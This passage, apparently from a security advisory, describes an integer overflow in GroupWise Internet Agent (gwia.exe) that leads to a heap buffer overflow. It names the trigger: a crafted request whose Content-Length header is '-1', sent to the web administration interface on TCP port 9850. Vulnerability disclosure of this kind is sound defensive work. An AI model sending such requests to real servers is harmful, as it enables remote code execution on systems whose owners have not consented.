3) Technical details  
============================  
The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe)  
when copying request data and can be exploited to cause a heap-based buffer overflow by e.g.  
sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based  
administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code.
